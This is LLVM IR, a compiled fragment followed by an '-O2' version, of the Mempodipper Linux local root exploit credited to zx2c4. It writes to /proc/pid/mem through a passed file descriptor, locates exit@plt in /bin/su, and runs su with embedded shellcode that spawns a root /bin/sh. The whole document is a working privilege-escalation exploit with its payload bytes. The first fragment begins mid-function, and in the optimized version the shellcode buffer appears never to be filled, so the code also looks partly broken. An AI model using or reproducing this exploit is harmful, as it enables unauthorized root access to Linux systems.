%157 = ptrtoint i8* %155 to i64
%158 = ptrtoint i8* %156 to i64
%159 = sub i64 %157, %158
%160 = udiv i64 %159, 1
store i64 %160, i64* %15
%161 = load i64, i64* %10
%162 = load i64, i64* %15
%163 = sub i64 %161, %162
store i64 %163, i64* %16
%164 = load i64, i64* %16
%165 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.24, i64 0, i64 0), i64 %164)
%166 = load i32, i32* %9
%167 = load i64, i64* %16
%168 = load i32, i32* @SEEK_SET
%169 = call i32 @lseek64(i32 %166, i64 %167, i32 %168)
%170 = bitcast [70 x i8]* %17 to i8*
%171 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.25, i64 0, i64 0))
%172 = getelementptr inbounds [70 x i8], [70 x i8]* %17, i64 0, i64 0
%173 = call i32 (i8*, i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.26, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.27, i64 0, i64 0), i8* %172, i8* null)
br label %185
174: ; preds = %73
%175 = getelementptr inbounds [32 x i8], [32 x i8]* %18, i64 0, i64 0
%176 = getelementptr inbounds [2 x i32], [2 x i32]* %8, i64 0, i64 0
%177 = load i32, i32* %176
%178 = call i32 @sprintf(i8* %175, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.28, i64 0, i64 0), i32 %177)
%179 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.29, i64 0, i64 0))
%180 = load i8**, i8*** %5
%181 = getelementptr inbounds i8*, i8** %180, i64 0
%182 = load i8*, i8** %181
%183 = getelementptr inbounds [32 x i8], [32 x i8]* %18, i64 0, i64 0
%184 = call i32 (i8*, i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.30, i64 0, i64 0), i8* %182, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.31, i64 0, i64 0), i8* %183, i8* null)
br label %185
185: ; preds = %48, %50, %71, %85, %133, %174, %145
%186 = load i32, i32* %3
ret i32 %186
}

LLVM IR (-O2):
@.str = [13 x i8] c"/proc/%d/mem\00"
@.str.1 = [37 x i8] c"[+] Opening parent mem %s in child.\0A\00"
@O_RDWR = global i32 0
@.str.2 = [9 x i8] c"[-] open\00"
@.str.3 = [30 x i8] c"[+] Sending fd %d to parent.\0A\00"
@AF_UNIX = global i32 0
@SOCK_STREAM = global i32 0
@.str.10 = [15 x i8] c"[-] socketpair\00"
@.str.12 = [24 x i8] c"[+] Received fd at %d.\0A\00"
@.str.13 = [12 x i8] c"[-] recv_fd\00"
@.str.14 = [32 x i8] c"[+] Assigning fd %d to stderr.\0A\00"
@.str.16 = [92 x i8] c"objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'\00"
@.str.17 = [2 x i8] c"r\00"
@ULONG_MAX = global i64 0
@.str.19 = [54 x i8] c"[-] Usage: %s -o ADDRESS\0A[-] Example: %s -o 0x402178\0A\00"
@.str.20 = [33 x i8] c"[+] Resolved exit@plt to 0x%lx.\0A\00"
@.str.22 = [38 x i8] c"/bin/su this-user-does-not-exist 2>&1\00"
@.str.23 = [25 x i8] c"this-user-does-not-exist\00"
@.str.24 = [30 x i8] c"[+] Seeking to offset 0x%lx.\0A\00"
@SEEK_SET = global i32 0
@__const.main.shellcode = [70 x i8] c"H1\FF\B0i\0F\05H1\FF\B0j\0F\05@\B7\06@\B6\02\B0!\0F\05H\BB//bin/shH\C1\EB\08SH\89\E7H1\DBf\BB-iSH\89\E1H1\C0PQWH\89\E6H1\D2\B0;\0F\05\00"
@.str.26 = [8 x i8] c"/bin/su\00"
@.str.27 = [3 x i8] c"su\00"
@.str.28 = [3 x i8] c"%d\00"
@.str.30 = [15 x i8] c"/proc/self/exe\00"
@.str.31 = [3 x i8] c"-c\00"
@str = [32 x i8] c"===============================\00"
@str.32 = [32 x i8] c"= Mempodipper =\00"
@str.33 = [32 x i8] c"= by zx2c4 =\00"
@str.34 = [32 x i8] c"= Jan 21, 2012 =\00"
@str.35 = [33 x i8] c"===============================\0A\00"
@str.36 = [24 x i8] c"[+] Opening socketpair.\00"
@str.37 = [37 x i8] c"[+] Executing child from child fork.\00"
@str.38 = [42 x i8] c"[+] Waiting for transferred fd in parent.\00"
@str.39 = [29 x i8] c"[+] Reading su for exit@plt.\00"
@str.40 = [79 x i8] c"[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\00"
@str.41 = [28 x i8] c"[+] Calculating su padding.\00"
@str.42 = [33 x i8] c"[+] Executing su with shellcode.\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [256 x i8]
%4 = alloca [2 x i32]
%5 = alloca [32 x i8]
%6 = alloca [256 x i8]
%7 = alloca [70 x i8]
%8 = alloca [32 x i8]
%9 = icmp sgt i32 %0, 2
br i1 %9, label %10, label %37
10: ; preds = %2
%11 = getelementptr inbounds i8*, i8** %1, i64 1
%12 = load i8*, i8** %11
%13 = load i8, i8* %12
%14 = icmp eq i8 %13, 45
br i1 %14, label %15, label %37
15: ; preds = %10
%16 = getelementptr inbounds i8, i8* %12, i64 1
%17 = load i8, i8* %16
%18 = icmp eq i8 %17, 99
br i1 %18, label %19, label %37
19: ; preds = %15
%20 = getelementptr inbounds [256 x i8], [256 x i8]* %3, i64 0, i64 0
%21 = tail call i32 (...) @getppid()
%22 = call i32 @sprintf(i8* %20, i8* dereferenceable(1) getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0), i32 %21)
%23 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([37 x i8], [37 x i8]* @.str.1, i64 0, i64 0), i8* %20)
%24 = load i32, i32* @O_RDWR
%25 = call i32 @open(i8* %20, i32 %24)
%26 = icmp slt i32 %25, 0
br i1 %26, label %27, label %29
27: ; preds = %19
%28 = call i32 @perror(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0))
br label %35
29: ; preds = %19
%30 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @.str.3, i64 0, i64 0), i32 %25)
%31 = getelementptr inbounds i8*, i8** %1, i64 2
%32 = load i8*, i8** %31
%33 = call i32 @atoi(i8* %32)
%34 = call i32 @send_fd(i32 %33, i32 %25)
br label %35
35: ; preds = %29, %27
%36 = phi i32 [ 1, %27 ], [ 0, %29 ]
br label %125
37: ; preds = %15, %10, %2
%38 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @str, i64 0, i64 0))
%39 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @str.32, i64 0, i64 0))
%40 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @str.33, i64 0, i64 0))
%41 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @str.34, i64 0, i64 0))
%42 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([33 x i8], [33 x i8]* @str.35, i64 0, i64 0))
%43 = bitcast [2 x i32]* %4 to i8*
%44 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.36, i64 0, i64 0))
%45 = load i32, i32* @AF_UNIX
%46 = load i32, i32* @SOCK_STREAM
%47 = getelementptr inbounds [2 x i32], [2 x i32]* %4, i64 0, i64 0
%48 = call i64 @socketpair(i32 %45, i32 %46, i32 0, i32* %47)
%49 = icmp slt i64 %48, 0
br i1 %49, label %50, label %52
50: ; preds = %37
%51 = call i32 @perror(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.10, i64 0, i64 0))
br label %123
52: ; preds = %37
%53 = call i64 (...) @fork()
%54 = icmp eq i64 %53, 0
br i1 %54, label %116, label %55
55: ; preds = %52
%56 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([42 x i8], [42 x i8]* @str.38, i64 0, i64 0))
%57 = getelementptr inbounds [2 x i32], [2 x i32]* %4, i64 0, i64 1
%58 = load i32, i32* %57
%59 = call i32 @recv_fd(i32 %58)
%60 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @.str.12, i64 0, i64 0), i32 %59)
%61 = icmp slt i32 %59, 0
br i1 %61, label %62, label %64
62: ; preds = %55
%63 = call i32 @perror(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.13, i64 0, i64 0))
br label %123
64: ; preds = %55
%65 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @.str.14, i64 0, i64 0), i32 %59)
%66 = call i32 @dup2(i32 2, i32 6)
%67 = call i32 @dup2(i32 %59, i32 2)
br i1 %9, label %68, label %81
68: ; preds = %64
%69 = getelementptr inbounds i8*, i8** %1, i64 1
%70 = load i8*, i8** %69
%71 = load i8, i8* %70
%72 = icmp eq i8 %71, 45
br i1 %72, label %73, label %81
73: ; preds = %68
%74 = getelementptr inbounds i8, i8* %70, i64 1
%75 = load i8, i8* %74
%76 = icmp eq i8 %75, 111
br i1 %76, label %77, label %81
77: ; preds = %73
%78 = getelementptr inbounds i8*, i8** %1, i64 2
%79 = load i8*, i8** %78
%80 = call i64 @strtoul(i8* nocapture %79, i32* null, i32 16)
br label %98
81: ; preds = %73, %68, %64
%82 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @str.39, i64 0, i64 0))
%83 = call i32* @popen(i8* getelementptr inbounds ([92 x i8], [92 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.17, i64 0, i64 0))
%84 = getelementptr inbounds [32 x i8], [32 x i8]* %5, i64 0, i64 0
store i8 0, i8* %84
%85 = call i32 @fgets(i8* %84, i32 32, i32* %83)
%86 = call i32 @pclose(i32* %83)
%87 = call i64 @strtoul(i8* nocapture %84, i32* null, i32 16)
%88 = load i64, i64* @ULONG_MAX
%89 = icmp ne i64 %87, %88
%90 = icmp ne i64 %87, 0
%91 = and i1 %90, %89
br i1 %91, label %92, label %94
92: ; preds = %81
%93 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([33 x i8], [33 x i8]* @.str.20, i64 0, i64 0), i64 %87)
br label %98
94: ; preds = %81
%95 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([79 x i8], [79 x i8]* @str.40, i64 0, i64 0))
%96 = load i8*, i8** %1
%97 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([54 x i8], [54 x i8]* @.str.19, i64 0, i64 0), i8* %96, i8* %96)
br label %123
98: ; preds = %92, %77
%99 = phi i64 [ %80, %77 ], [ %87, %92 ]
%100 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([28 x i8], [28 x i8]* @str.41, i64 0, i64 0))
%101 = call i32* @popen(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.22, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.17, i64 0, i64 0))
%102 = getelementptr inbounds [256 x i8], [256 x i8]* %6, i64 0, i64 0
store i8 0, i8* %102
%103 = call i32 @fgets(i8* %102, i32 256, i32* %101)
%104 = call i32 @pclose(i32* %101)
%105 = call i8* @strstr(i8* %102, i8* dereferenceable(1) getelementptr inbounds ([25 x i8], [25 x i8]* @.str.23, i64 0, i64 0))
%106 = ptrtoint i8* %105 to i64
%107 = ptrtoint [256 x i8]* %6 to i64
%108 = sub i64 %107, %106
%109 = add i64 %108, %99
%110 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @.str.24, i64 0, i64 0), i64 %109)
%111 = load i32, i32* @SEEK_SET
%112 = call i32 @lseek64(i32 %59, i64 %109, i32 %111)
%113 = getelementptr inbounds [70 x i8], [70 x i8]* %7, i64 0, i64 0
%114 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([33 x i8], [33 x i8]* @str.42, i64 0, i64 0))
%115 = call i32 (i8*, i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.26, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.27, i64 0, i64 0), i8* %113, i8* null)
br label %123
116: ; preds = %52
%117 = getelementptr inbounds [32 x i8], [32 x i8]* %8, i64 0, i64 0
%118 = load i32, i32* %47
%119 = call i32 @sprintf(i8* %117, i8* dereferenceable(1) getelementptr inbounds ([3 x i8], [3 x i8]* @.str.28, i64 0, i64 0), i32 %118)
%120 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([37 x i8], [37 x i8]* @str.37, i64 0, i64 0))
%121 = load i8*, i8** %1
%122 = call i32 (i8*, i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.30, i64 0, i64 0), i8* %121, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.31, i64 0, i64 0), i8* %117, i8* null)
br label %123
123: ; preds = %94, %62, %98, %116, %50
%124 = phi i32 [ -1, %50 ], [ 0, %116 ], [ -1, %62 ], [ 0, %98 ], [ 1, %94 ]
br label %125
125: ; preds = %123, %35
%126 = phi i32 [ %36, %35 ], [ %124, %123 ]
ret i32 %126
}